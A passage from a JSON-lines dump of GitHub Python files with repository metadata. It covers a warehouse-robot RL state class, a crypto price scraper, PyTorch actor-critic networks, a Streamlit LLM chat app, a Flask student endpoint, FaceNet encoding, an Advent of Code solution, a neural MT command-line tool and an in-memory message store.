main()","repo_name":"gboenn/suttas_text_and_audio","sub_path":"query_sutta_db.py","file_name":"query_sutta_db.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"36424753589","text":"import random\nimport copy\n\nfrom location import Location\nfrom util import nCr\nfrom warehouse_parameters import N_ROWS, N_COLS, N_ROBOTS, N_STACKS, N_ITEMS\n\nclass State:\n \"\"\"\n The state of the environment.\n \n The state of the environment contains a list of the locations of the \n robots, a list of the locations of the stacks, and a list of integers that\n indicate the number of items on each stack that have been ordered by \n Amazon customers. The state is used by the agent to determine which action \n to take.\n \n To reduce the size of the state space, we group together all states where \n the robot/stack locations are the same but are ordered differently. To\n implement this grouping, anytime the robot/stack locations are changed, we\n reorder the lists contained in the state object so that the locations are \n in ascending order. \n \n For example, consider if we had the following state:\n \n robot_locs = [(0,1), (1,2), (1,1)]\n stack_locs = [(0,1), (1,1), (0,0)]\n orders = [0, 1, 1]\n \n The robot_locs list would be reordered by switching the order of the last \n two locations. The stack_locs list would be reordered by moving the last \n location to the front of the list. Since the orders list contains numbers \n that correspond to particular stacks, the orders list should be reordered\n by performing the same rearrangements that the stack_locs list made \n instead of reordering the list based on the integers it contains. \n \n Our resulting state would be as follows:\n \n robot_locs = [(0,1), (1,1), (1,2)]\n stack_locs = [(0,0), (0,1), (1,1)]\n orders = [1, 0, 1]\n \n Attributes\n ----------\n valid_locs : [Location]\n The valid locations that a robot or stack could be located in. This\n attribute should not be changed.\n robot_locs : [Location]\n The locations of each of the robots. The locations in robot_locs are \n always in ascending order. The length of robot_locs is equal to \n N_ROBOTS.\n stack_locs : [Location]\n The locations of each of the stacks. The locations in stack_locs are\n always in ascending order. The length of stack_locs is equal to \n N_STACKS.\n orders : [int]\n The number of ordered items that each stack contains. Each value in \n orders cannot be any larger than N_ITEMS. The length of orders \n is equal to N_STACKS.\n \n \"\"\"\n \n def __init__(self):\n \"\"\"\n Creates a new State object. \n \n Call the reset() method to initialize robot/stack locations and set \n the number of ordered items on each stack to 0. \n\n Returns\n -------\n None.\n\n \"\"\"\n self.valid_locations = list(map(Location.idx_to_loc, range(-1, N_ROWS * N_COLS)))\n self.reset()\n return\n \n def reset(self):\n \"\"\"\n Assign random new locations to the robots and stacks based on a \n discrete uniform distribution. Reorder the locations to be in \n ascending order. Set the number of ordered items for each stack to 0.\n\n Returns\n -------\n None.\n\n \"\"\"\n self.robot_locs = random.sample(self.valid_locations, k=N_ROBOTS)\n self.robot_locs.sort()\n self.stack_locs = random.sample(self.valid_locations, k=N_STACKS)\n self.stack_locs.sort()\n self.orders = [0]* N_STACKS\n return\n \n \n def baseline_organization(self):\n \"\"\"\n Initializes robot and stack locations for the baseline policy.\n \n The baseline policy requires that the stacks are located in the middle\n 2 rows of the warehouse grid and the robots are located in one of \n those 2 middle rows in the grid. This method must be called before \n using the baseline policy.\n \n The method assumes that the warehouse has at least 4 rows, at least as \n many columns as robots, and twice as many stacks as robots.\n\n Returns\n -------\n None.\n\n \"\"\"\n \n ### NO LONGER WORKS WITH NEW WAREHOUSE SHAPE\n \n if (N_ROWS >= 4 and N_COLS >= N_ROBOTS and N_STACKS == 2*N_ROBOTS):\n self.robot_locs = [Location(1, i) for i in range(N_ROBOTS)]\n self.robot_locs.sort()\n self.stack_locs = ([Location(1, i) for i in range(N_ROBOTS)] \n + [Location(2, i) for i in range(N_ROBOTS)])\n self.stack_locs.sort()\n return True\n else:\n print(\"Error: Cannot organize in rows.\")\n return False\n \n def enum(self):\n \"\"\"\n Enumerates the state by assigning a unique number to each state.\n \n First, enumerate the locations of the robots and multiply this value \n by the number of possible locations of stacks and possible orders \n values. Second, enumerate the locations of the stacks and multiply\n this value by the number of possible orders values. Last, enumerate \n the number of possible orders values. Add all these together to get \n the final enumeration of the state.\n \n \n Returns\n -------\n int\n The enumeration of the state.\n\n \"\"\"\n ## enumerate the location of robots\n enum_robots = 0\n locations = copy.deepcopy(self.valid_locations)\n for i in range(N_ROBOTS):\n idx = locations.index(self.robot_locs[i])\n if i == N_ROBOTS - 1:\n enum_robots += idx\n else:\n locations = locations[1:]\n for j in range(idx):\n enum_robots += nCr(len(locations), N_ROBOTS - i - 1)\n locations = locations[1:]\n \n possible_stacks_orders = (nCr(N_ROWS * N_COLS + 1, N_STACKS)\n * (N_ITEMS+1)**N_STACKS)\n \n \n ## enumerate the locations of stacks\n enum_stacks = 0\n locations = copy.deepcopy(self.valid_locations)\n for i in range(N_STACKS):\n idx = locations.index(self.stack_locs[i])\n if i == N_STACKS - 1:\n enum_stacks += idx\n else:\n locations = locations[1:]\n for j in range(idx):\n enum_stacks += nCr(len(locations), N_STACKS - i - 1)\n locations = locations[1:]\n \n possible_orders = (N_ITEMS+1)**N_STACKS\n \n ## enumerate the order state variable\n enum_orders = 0\n for i in range(N_STACKS):\n enum_orders += self.orders[i] * (N_ITEMS+1)**(N_STACKS-1-i)\n \n enum = (enum_robots * possible_stacks_orders\n + enum_stacks * possible_orders\n + enum_orders)\n return enum\n \n def set_by_enum(self, num):\n # possible_stacks_orders = (nCr(N_ROWS * N_COLS, N_STACKS)\n # * (ITEMS_PER_STACK+1)**N_STACKS)\n \n # possible_orders = (ITEMS_PER_STACK+1)**N_STACKS\n \n # enum_robots = int(num / possible_stacks_orders)\n \n # cnt = 0\n # robot_locs = list(range(N_ROBOTS))\n # for i in range(N_ROBOTS):\n \n \n # enum_stacks = int(num / possible_orders) % possible_stacks_orders\n \n # enum_orders = num % possible_orders\n \n return \n \n def grid(self):\n \"\"\"\n Returns a visual representation of the state.\n\n Returns\n -------\n s : str\n Visual representation of the state.\n\n \"\"\"\n s = \"\"\n for i in range(N_ROWS):\n s += \"\\n\" + \"-\" * (6 * (N_COLS + 1) - 2) + \"---\\n|\"\n if i == 0:\n for j in range(-1, N_COLS):\n loc = Location(i, j)\n if loc in self.robot_locs:\n s += \" R \"\n else:\n s += \" \"\n \n if loc in self.stack_locs:\n if self.orders[self.stack_locs.index(loc)] > 0:\n s += \"$ |\"\n else:\n s += \"s |\"\n else:\n s += \" |\"\n else:\n s += '/////|'\n for j in range(N_COLS):\n loc = Location(i, j)\n if loc in self.robot_locs:\n s += \" R \"\n else:\n s += \" \"\n \n if loc in self.stack_locs:\n if self.orders[self.stack_locs.index(loc)] > 0:\n s += \"$ |\"\n else:\n s += \"s |\"\n else:\n s += \" |\"\n s += \"\\n\" + \"-\" * (6 * (N_COLS + 1) - 2) + \"---\\n\"\n return s\n \n \n def __repr__(self):\n \"\"\"\n Returns the string representation of a State object.\n\n Returns\n -------\n s : str\n The string representation of a State object.\n\n \"\"\"\n s = self.grid()\n s += \"robots = \" + str(self.robot_locs) + '\\n'\n s += \"stacks = \" + str(self.stack_locs) + '\\n'\n s += \"orders = \" + str(self.orders) + '\\n'\n return s","repo_name":"MTHE493-Group14/Warehouse-Robot-RL","sub_path":"state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":9439,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"}
+{"seq_id":"35131030366","text":"#testing web scraping\nimport requests\nimport bs4\nfrom bs4 import BeautifulSoup\n\ndef main():\n #use requests for get, put, post, delete\n response = requests.get('https://coinmarketcap.com/currencies/bitcoin/historical-data/?start=20130428&end=20200311')\n txt = open(\"coinmarketdata.txt\", 'w')\n with open('coinmarket.html', 'w') as f:\n data = response.text\n soup = BeautifulSoup(data, 'html.parser')\n td = soup.find_all('td')\n for i in td:\n value = i.contents[0].contents[0]\n input = value + \"|\"\n txt.write(str(input))\n f.write(data)\n f.close()\n txt.close()\n\nmain()\n\n\n","repo_name":"brandon-rowe/Python","sub_path":"Projects/WebScraping/coinmarket/snippets/coindata.py","file_name":"coindata.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"29730454622","text":"from .network_utils import *\n\nclass NatureConvBody(nn.Module):\n def __init__(self, in_channels=4):\n super(NatureConvBody, self).__init__()\n self.feature_dim = 512\n self.conv1 = layer_init(nn.Conv2d(in_channels, 32, kernel_size=8, stride=4))\n self.conv2 = layer_init(nn.Conv2d(32, 64, kernel_size=4, stride=2))\n self.conv3 = layer_init(nn.Conv2d(64, 64, kernel_size=3, stride=1))\n self.fc4 = layer_init(nn.Linear(7 * 7 * 64, self.feature_dim))\n\n def forward(self, x):\n y = F.relu(self.conv1(x))\n y = F.relu(self.conv2(y))\n y = F.relu(self.conv3(y))\n y = y.view(y.size(0), -1)\n y = F.relu(self.fc4(y))\n return y\n\nclass TwoLayerFCBody(nn.Module):\n def __init__(self, state_dim, hidden_size=64, gate=F.relu):\n super(TwoLayerFCBody, self).__init__()\n self.fc1 = layer_init(nn.Linear(state_dim, hidden_size))\n self.fc2 = layer_init(nn.Linear(hidden_size, hidden_size))\n self.gate = gate\n self.feature_dim = hidden_size\n\n def forward(self, x):\n y = self.gate(self.fc1(x))\n y = self.gate(self.fc2(y))\n return y\n\nclass DeterministicActorNet(nn.Module, BasicNet):\n def __init__(self,\n state_dim,\n action_dim,\n action_gate=F.tanh,\n action_scale=1,\n gpu=-1,\n non_linear=F.tanh):\n super(DeterministicActorNet, self).__init__()\n self.layer1 = layer_init(nn.Linear(state_dim, 300))\n self.layer2 = layer_init(nn.Linear(300, 200))\n self.layer3 = nn.Linear(200, action_dim)\n self.action_gate = action_gate\n self.action_scale = action_scale\n self.non_linear = non_linear\n self.init_weights()\n BasicNet.__init__(self, gpu)\n\n def init_weights(self):\n bound = 3e-3\n nn.init.uniform(self.layer3.weight.data, -bound, bound)\n nn.init.constant(self.layer3.bias.data, 0)\n\n def forward(self, x):\n x = self.variable(x)\n x = self.non_linear(self.layer1(x))\n x = self.non_linear(self.layer2(x))\n x = self.layer3(x)\n x = self.action_scale * self.action_gate(x)\n return x\n\n def predict(self, x, to_numpy=False):\n y = self.forward(x)\n if to_numpy:\n y = y.cpu().data.numpy()\n return y\n\nclass DeterministicCriticNet(nn.Module, BasicNet):\n def __init__(self,\n state_dim,\n action_dim,\n gpu=-1,\n non_linear=F.tanh):\n super(DeterministicCriticNet, self).__init__()\n self.layer1 = layer_init(nn.Linear(state_dim, 400))\n self.layer2 = layer_init(nn.Linear(400 + action_dim, 300))\n self.layer3 = nn.Linear(300, 1)\n self.non_linear = non_linear\n self.init_weights()\n BasicNet.__init__(self, gpu)\n\n def init_weights(self):\n bound = 3e-3\n nn.init.uniform(self.layer3.weight.data, -bound, bound)\n nn.init.constant(self.layer3.bias.data, 0)\n\n def forward(self, x, action):\n x = self.variable(x)\n action = self.variable(action)\n x = self.non_linear(self.layer1(x))\n x = self.non_linear(self.layer2(torch.cat([x, action], dim=1)))\n x = self.layer3(x)\n return x\n\n def predict(self, x, action):\n return self.forward(x, action)\n\nclass GaussianActorNet(nn.Module, BasicNet):\n def __init__(self,\n state_dim,\n action_dim,\n gpu=-1,\n hidden_size=64,\n non_linear=F.tanh):\n super(GaussianActorNet, self).__init__()\n self.fc1 = layer_init(nn.Linear(state_dim, hidden_size))\n self.fc2 = layer_init(nn.Linear(hidden_size, hidden_size))\n self.fc_action = nn.Linear(hidden_size, action_dim)\n\n self.action_log_std = nn.Parameter(torch.zeros(1, action_dim))\n\n self.non_linear = non_linear\n\n self.init_weights()\n BasicNet.__init__(self, gpu)\n\n def init_weights(self):\n bound = 3e-3\n nn.init.uniform(self.fc_action.weight.data, -bound, bound)\n nn.init.constant(self.fc_action.bias.data, 0)\n\n def forward(self, x):\n x = self.variable(x)\n phi = self.non_linear(self.fc1(x))\n phi = self.non_linear(self.fc2(phi))\n mean = F.tanh(self.fc_action(phi))\n log_std = self.action_log_std.expand_as(mean)\n std = log_std.exp()\n return mean, std, log_std\n\n def predict(self, x):\n return self.forward(x)\n\nclass GaussianCriticNet(nn.Module, BasicNet):\n def __init__(self,\n state_dim,\n gpu=-1,\n hidden_size=64,\n non_linear=F.tanh):\n super(GaussianCriticNet, self).__init__()\n self.fc1 = layer_init(nn.Linear(state_dim, hidden_size))\n self.fc2 = layer_init(nn.Linear(hidden_size, hidden_size))\n self.fc_value = nn.Linear(hidden_size, 1)\n self.non_linear = non_linear\n self.init_weights()\n BasicNet.__init__(self, gpu)\n\n def init_weights(self):\n bound = 3e-3\n nn.init.uniform(self.fc_value.weight.data, -bound, bound)\n nn.init.constant(self.fc_value.bias.data, 0)\n\n def forward(self, x):\n x = self.variable(x)\n phi = self.non_linear(self.fc1(x))\n phi = self.non_linear(self.fc2(phi))\n value = self.fc_value(phi)\n return value\n\n def predict(self, x):\n return self.forward(x)","repo_name":"nekrald/quadrotor_reinforcement_learning","sub_path":"libraries/DeepRL/network/network_bodies.py","file_name":"network_bodies.py","file_ext":"py","file_size_in_byte":5511,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"}
+{"seq_id":"34676471415","text":"from llama_cpp import Llama\nimport streamlit as st\nimport os\nimport openai\n\ndef stream_gpt(messages, model):\n completion = openai.ChatCompletion.create(model=model, messages=messages, stream=True, max_tokens=500, temperature=0.5)\n for line in completion:\n if 'content' in line['choices'][0]['delta']:\n yield line['choices'][0]['delta']['content']\n\ndir_path = \"./models/\"\nfiles = os.listdir(dir_path)\nopenai_models = [\"gpt-3.5-turbo\", \"gpt-3.5-turbo-0613\", \"gpt-4\"]\nllm_path = st.selectbox(\"Select an LLM\", options=files + openai_models)\nis_openai = \"gpt\" in llm_path\nif is_openai:\n openai.api_key = os.getenv(\"OPENAI_KEY\")\nelse:\n llm = Llama(model_path= dir_path + llm_path, n_ctx=2048, n_threads=12, n_gpu_layers=1)\n \nif \"messages\" not in st.session_state:\n st.session_state.messages = []\n\nprompt = st.chat_input(\"Say something\")\nresponse = \"\"\nif prompt:\n st.session_state.messages.append({\"role\": \"user\", \"content\": prompt})\n st.session_state.messages.append({\"role\": \"assistant\", \"content\": response})\n stream = None\n if is_openai:\n stream_gpt(st.session_state.messages, llm_path)\n else:\n stream = llm(f\"{prompt}\\n\", max_tokens=600, stop=[\"\\n\"], echo=False, stream=True)\n \n for output in stream:\n response += str(output[\"choices\"][0][\"text\"])\n st.session_state.messages[len(st.session_state.messages) - 1] = {\"role\": \"assistant\", \"content\": response}\nfor message in st.session_state.messages:\n with st.chat_message(message[\"role\"]):\n st.markdown(message[\"content\"])","repo_name":"AndreasInk/ExamCramChat","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"5891230774","text":"import dbcreds\nimport secrets\nimport json\nfrom flask import Response, request\nimport mariadb\n\ndef get():\n result = None\n params = request.args\n loginToken = request.headers.get(\"loginToken\")\n course_id = params.get(\"courseId\")\n conn = None\n cursor = None\n result = None\n\n \n \n try:\n conn = mariadb.connect(user=dbcreds.user,password=dbcreds.password, host=dbcreds.host,port=dbcreds.port, database=dbcreds.database)\n cursor = conn.cursor()\n cursor.execute(\"SELECT u.id , u.role FROM users u INNER JOIN user_session us ON u.id = us.user_id WHERE token = ?\",[loginToken])\n user=cursor.fetchone()\n if user[1]==\"admin\" and course_id != None:\n cursor.execute(\"SELECT * FROM users u INNER JOIN student_register sr ON sr.student_id = u.id WHERE u.role= ? AND sr.course_id =?\",[\"student\",course_id])\n elif user[1]==\"admin\":\n cursor.execute(\"SELECT * FROM users WHERE role = ?\",[\"student\",])\n elif user[1]==\"instructor\" and course_id !=None:\n cursor.execute(\"SELECT * FROM instructor_teaches WHERE instructor_id=? AND course_id=?\",[user[0],course_id])\n rows = cursor.fetchall()\n if len(rows)==1:\n cursor.execute(\"SELECT * FROM users u INNER JOIN student_register sr ON sr.student_id = u.id WHERE u.role= ? AND sr.course_id =?\",[\"student\",course_id])\n result = cursor.fetchall()\n except mariadb.OperationalError as e:\n message = \"connection error\" \n except Exception as e:\n message =\"somthing went wrong, probably bad params \" \n finally:\n if(cursor != None):\n cursor.close()\n if(conn != None):\n conn.rollback()\n conn.close()\n if (result != None or result==[]):\n students=[]\n for row in result:\n student={\n \"id\":row[0],\n \"name\":row[1],\n \"username\":row[4],\n \"email\":row[5],\n \"birthdate\":row[2],\n \"role\":row[6]\n }\n students.append(student)\n return Response(json.dumps(students,default=str) ,mimetype=\"application/json\",status=200)\n else:\n return Response(\"failed\" ,mimetype=\"html/text\",status=400)\n\n\n\n ","repo_name":"khalidamairi3/MVP_backend","sub_path":"students.py","file_name":"students.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"9674094253","text":"from utils.utils_linear_regression import *\nfrom utils.graphics_common import *\n\n\n# APPROX PLOTS\n\ndef basic_approx_plot(ax, points, T, SGD, MGD, GD, log=True):\n title = \"Аппроксимация\"\n if not log:\n title += \", нелогарифмическая шкала\"\n ax.set_title(title, color='black')\n if log:\n ax.set_yscale('symlog')\n ax.set_xscale('symlog')\n legend = []\n if SGD is not None:\n ax.plot(T, [linear_combination([x], SGD[-1]) for x in T], '-', color=\"green\", linewidth=0.3)\n legend.append(\"SGD\")\n if MGD is not None:\n ax.plot(T, [linear_combination([x], MGD[-1]) for x in T], '-', color=\"yellow\", linewidth=0.3)\n legend.append(\"MGD\")\n if GD is not None:\n ax.plot(T, [linear_combination([x], GD[-1]) for x in T], '-', color=\"blue\", linewidth=0.3)\n legend.append(\"GD\")\n if legend:\n ax.legend(legend, labelcolor=\"black\")\n if points:\n ax.plot([i[0][0] for i in points], [i[1] for i in points], 'o', markersize=3)\n\n\ndef basic_approx_plot_3d(ax3d, points, Tx, Ty, gd_points, label):\n def err_f(*args):\n return linear_combination(args, gd_points[-1])\n\n ax3d.set_title(\"Аппроксимация\", color='black')\n Mx, My = np.meshgrid(Tx, Ty)\n if points:\n ax3d.scatter(\n [i[0][0] for i in points],\n [i[0][1] for i in points],\n [i[1] for i in points], 'o', s=5, cmap=plt.get_cmap('hsv'))\n ax3d.legend([label], labelcolor=\"black\")\n errors = list()\n for i in points:\n predicted_z = err_f(*i[0])\n t = np.linspace(i[1], predicted_z, 80)\n for j in t:\n errors.append([i[0][0], i[0][1], j])\n arr = np.array(errors)\n ax3d.scatter(\n arr[:, 0],\n arr[:, 1],\n arr[:, 2], 'o', s=0.1, alpha=0.5)\n return basic_3d_plot2(ax3d, err_f, Mx, My, None, alpha=0.7)\n\n\n# LINEAR REGRESSION RESULTS ANALYSIS\n\ndef basic_error_chart(ax, err_f, SGD, MGD, GD, title=None):\n labels = []\n data = []\n for name, arr in [(\"SGD\", SGD), (\"MGD\", MGD), (\"GD\", GD)]:\n if arr is not None:\n labels.append(name)\n data.append(err_f(*arr))\n\n basic_bar_chart(ax, labels, data, title=\"Функция ошибки\")\n\n\ndef basic_log_stats(err_f, dataset_size, batch_count, *args):\n print(\"Значения функции ошибки:\")\n print([err_f(*p[-1]) for p in args])\n print(\"Результаты методов:\")\n print([p[-1] for p in args])\n print(\"Количество итераций:\")\n print([len(p) for p in args])\n print(\"Точек всего:\", dataset_size)\n print(\"Точек взято в minibatch:\", batch_count)\n\n\ndef plot_loss_epoch(ax, points_gd, func):\n size = len(points_gd)\n indexes = range(size - 11, size)\n points = []\n for i in indexes:\n points.append(func(*points_gd[i]))\n print(points)\n ax.set_xlabel('Epoch')\n ax.set_ylabel('Loss')\n ax.set_yscale('log')\n ax.grid()\n\n plt.plot(indexes, np.array(points), 'o-')\n","repo_name":"letstatt/itmo","sub_path":"opt-methods/lab2/utils/graphics_linear_regression.py","file_name":"graphics_linear_regression.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"}
+{"seq_id":"5721403005","text":"from architecture import * \nimport os \nimport cv2\nimport mtcnn\nimport pickle \nimport numpy as np \nfrom sklearn.preprocessing import Normalizer\nfrom tensorflow.keras.models import load_model\n\n######pathsandvairables#########\nface_data = 'Faces/'\nrequired_shape = (160,160)\nface_encoder = InceptionResNetV2()\npath = \"facenet_keras_weights.h5\"\nface_encoder.load_weights(path)\nface_detector = mtcnn.MTCNN()\nencodes = []\nencoding_dict = dict()\nl2_normalizer = Normalizer('l2')\n###############################\n\n\ndef normalize(img):\n mean, std = img.mean(), img.std()\n return (img - mean) / std\n\n\nfor face_names in os.listdir(face_data):\n person_dir = os.path.join(face_data,face_names)\n\n for image_name in os.listdir(person_dir):\n image_path = os.path.join(person_dir,image_name)\n\n img_BGR = cv2.imread(image_path)\n img_RGB = cv2.cvtColor(img_BGR, cv2.COLOR_BGR2RGB)\n\n x = face_detector.detect_faces(img_RGB)\n x1, y1, width, height = x[0]['box']\n x1, y1 = abs(x1) , abs(y1)\n x2, y2 = x1+width , y1+height\n face = img_RGB[y1:y2 , x1:x2]\n \n face = normalize(face)\n face = cv2.resize(face, required_shape)\n face_d = np.expand_dims(face, axis=0)\n encode = face_encoder.predict(face_d)[0]\n encodes.append(encode)\n\n if encodes:\n encode = np.sum(encodes, axis=0 )\n encode = l2_normalizer.transform(np.expand_dims(encode, axis=0))[0]\n encoding_dict[face_names] = encode\n \npath = 'encodings/encodings.pkl'\nwith open(path, 'wb') as file:\n pickle.dump(encoding_dict, file)\n\n\n\n\n\n\n","repo_name":"R4j4n/Face-recognition-Using-Facenet-On-Tensorflow-2.X","sub_path":"train_v2.py","file_name":"train_v2.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"61"}
+{"seq_id":"29171001876","text":"from queue import LifoQueue\n\nwith open(\"advent_9.txt\") as f:\n lines = [line.strip() for line in f.readlines()]\n\nx = len(lines[0])\ny = len(lines)\n\nboard = [[-1 for i in range(x)] for j in range(y)]\n\nfor j, line in enumerate(lines):\n for i, p in enumerate(line):\n board[j][i] = int(p)\n\n\nclass Position(object):\n def __init__(self, i, j):\n self.i = i\n self.j = j\n\n def compare(self, other):\n if other.i >= 0 and other.j >= 0 and other.i < x and other.j < y:\n if board[self.j][self.i] < board[other.j][other.i]:\n return -1\n elif board[self.j][self.i] == board[other.j][other.i]:\n return 0\n else:\n return 1\n\n def get_index(self):\n return 1000 * self.j + self.i\n\n\nto_low = dict()\n\n\ndef get_position(index):\n return Position(index % 1000, int(index / 1000))\n\n\nclass Visited(object):\n def __init__(self, position, visited):\n self.position = position\n self.visited = visited\n\n# DFS for low point. Record path. Once low point found,\n# update all elements on path.\ndef find_low(position):\n stack = LifoQueue(maxsize=0)\n stack.put(Visited(position, []))\n while not stack.empty():\n v = stack.get()\n p = v.position\n visited = v.visited + [p]\n neighbors = [Position(p.i-1, p.j), Position(p.i+1, p.j), Position(p.i, p.j-1), Position(p.i, p.j+1)]\n low = True\n for n in neighbors:\n c = p.compare(n)\n if c == 1:\n stack.put(Visited(n, visited))\n low = False\n elif c == 0:\n low = False\n if low:\n for path_p in visited:\n to_low[path_p.get_index()] = p\n\n\ntotal = 0\nfor j in range(y):\n for i in range(x):\n p = Position(i, j)\n if board[j][i] < 9 and (p.get_index() not in to_low):\n find_low(p)\n\nsizes = {}\nfor p in to_low:\n ind = to_low[p].get_index()\n if ind not in sizes:\n sizes[ind] = 1\n else:\n sizes[ind] += 1\n\nsize_arr = [v for v in sizes.values()]\nsize_arr.sort(reverse=True)\nprint(size_arr[0]*size_arr[1]*size_arr[2])\n","repo_name":"gwhitehawk/AoC_2021","sub_path":"advent_9.py","file_name":"advent_9.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"40041434376","text":"#!/usr/bin/env python -O\n# PYTHON_ARGCOMPLETE_OK\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport argparse\nimport nmt_chainer.training_module.train_config as train\nimport nmt_chainer.translation.eval_config as eval_module\nimport nmt_chainer.dataprocessing.make_data_conf as make_data\n\nimport nmt_chainer.utilities.utils_command as utils_command\n\nfrom nmt_chainer.utilities import versioning_tools\nimport sys\n\ntry:\n import argcomplete\nexcept ImportError:\n argcomplete = None\n\ntry:\n import ipdb as pdb\nexcept ImportError:\n import pdb\n\ndef run_in_ipdb(func, args):\n import ipdb\n with ipdb.launch_ipdb_on_exception():\n func(args)\n\ndef run_in_pdb(func, args):\n def debug_signal_handler(signal, frame):\n import pdb\n pdb.set_trace()\n import signal\n signal.signal(signal.SIGINT, debug_signal_handler)\n\n import pdb as pdb_module\n\n import sys\n import traceback\n pdb = pdb_module.Pdb()\n while True:\n try:\n pdb.runcall(func, args)\n if pdb._user_requested_quit:\n break\n print(\"The program finished and will be restarted\")\n except pdb_module.Restart:\n print(\"Restarting with arguments:\")\n print(\"\\t\" + \" \".join(sys.argv[1:]))\n except SystemExit:\n # In most cases SystemExit does not warrant a post-mortem session.\n print(\"The program exited via sys.exit(). Exit status: \",)\n print(sys.exc_info()[1])\n except SyntaxError:\n traceback.print_exc()\n sys.exit(1)\n except BaseException:\n traceback.print_exc()\n print(\"Uncaught exception. Entering post mortem debugging\")\n print(\"Running 'cont' or 'step' will restart the program\")\n t = sys.exc_info()[2]\n pdb.interaction(None, t)\n print(\"Post mortem debugger finished. The program will be restarted\")\n\n\ndef main(arguments=None):\n # create the top-level parser\n parser = argparse.ArgumentParser(description=\"Kyoto-NMT: an Implementation of the RNNSearch model\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n prog=\"knmt\")\n\n parser.add_argument(\"--run_in_pdb\", default=False, action=\"store_true\", help=\"run knmt in pdb (python debugger)\")\n\n parser.add_argument(\"--run_in_cprofile\", default=False, action=\"store_true\", help=\"run knmt in cProfile\")\n\n subparsers = parser.add_subparsers(dest=\"__subcommand_name\")\n\n # create the parser for the \"make_data\" command\n parser_make_data = subparsers.add_parser('make_data', description=\"Prepare data for training.\", help=\"Prepare data for training\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n make_data.define_parser(parser_make_data)\n\n # create the parser for the \"train\" command\n parser_train = subparsers.add_parser('train', description=\"Train a model.\", help=\"Train a model\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n train.define_parser(parser_train)\n\n # create the parser for the \"eval\" command\n parser_eval = subparsers.add_parser('eval', description=\"Use a model.\", help=\"Use a model\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n eval_module.define_parser(parser_eval)\n\n # create the parser for the \"version\" command\n parser_version = subparsers.add_parser('version', description=\"Get version infos.\", help=\"Get version infos\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser_utils = subparsers.add_parser('utils', description=\"Call a utility script.\", help=\"Call a utility script\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n utils_command.define_parser(parser_utils)\n\n# import argcomplete\n if argcomplete is not None:\n argcomplete.autocomplete(parser)\n\n args = parser.parse_args(args=arguments)\n if arguments is not None:\n args.__original_argument_list = arguments\n else:\n args.__original_argument_list = sys.argv\n\n if args.__subcommand_name is None:\n parser.print_help()\n sys.exit(1)\n\n func = {\"make_data\": make_data.do_make_data,\n \"train\": train.do_train,\n \"eval\": eval_module.do_eval,\n \"version\": versioning_tools.main,\n \"utils\": utils_command.do_utils}[args.__subcommand_name]\n\n if args.run_in_pdb:\n try:\n import ipdb\n run_in_ipdb(func, args)\n except ImportError:\n run_in_pdb(func, args)\n # import pdb\n # pdb.runcall(func, args)\n # def debug_signal_handler(signal, frame):\n # import pdb\n # pdb.set_trace()\n # import signal\n # signal.signal(signal.SIGINT, debug_signal_handler)\n\n elif args.run_in_cprofile:\n import cProfile\n cProfile.runctx(\"func(args)\", globals(), locals(), sort=\"cumtime\")\n \n else:\n try:\n func(args)\n except train.CommandLineValuesException as e:\n parser_train.error(e.args[0])\n except eval_module.CommandLineValuesException as e:\n parser_eval.error(e.args[0])\n except make_data.CommandLineValuesException as e:\n parser_make_data.error(e.args[0])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"fabiencro/knmt","sub_path":"nmt_chainer/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":5331,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"61"}
+{"seq_id":"7933562102","text":"#encoding: utf8\nclass MemoryStorage(object):\n \"\"\"\n Simple(dummy) in-memory storage\n In production better to use some database. Written to describe the api and testing\n \"\"\"\n def __init__(self, config):\n # configuration of channels and services provided by application\n self.config = config\n\n # Storage of undelivered messages\n self.storage = dict()\n\n # Dict with services and subscriptions\n self.clients = dict()\n self.load_clients()\n\n # The list of keys to interact with the application\n self.api_keys = list()\n self.load_api_keys()\n\n def load_clients(self):\n \"\"\"\n Loading services and key data from config\n \"\"\"\n channel_dict = self.config.get('channels', {})\n for channel in channel_dict:\n self.add_channel(channel)\n for user_data in channel_dict.get(channel, []):\n self.subscribe(user_data['url'], user_data['key'], channel)\n\n def load_api_keys(self):\n \"\"\"\n Loading keys to store messages\n \"\"\"\n self.api_keys = self.config.get('keys', [])\n\n def push(self, client, channel, data, status_code):\n \"\"\"\n Adding the undeliverable message in the storage\n \"\"\"\n if client not in self.storage:\n self.storage[client] = {}\n if channel not in self.storage[client]:\n self.storage[client][channel] = []\n self.storage[client][channel].append((data, status_code))\n\n def waiting_clients(self):\n \"\"\"\n Returns the services that have undelivered messages\n \"\"\"\n return self.storage.iterkeys()\n\n def waiting_messages(self, client):\n \"\"\"\n Returns a dict with the channels in which there are unsent messages\n for a given service\n \"\"\"\n return self.storage.get(client, None)\n\n def get_client_key(self, client, channel):\n \"\"\"\n Returns the key to send the data to the client in a given channel\n \"\"\"\n result = None\n if channel in self.clients:\n for service in 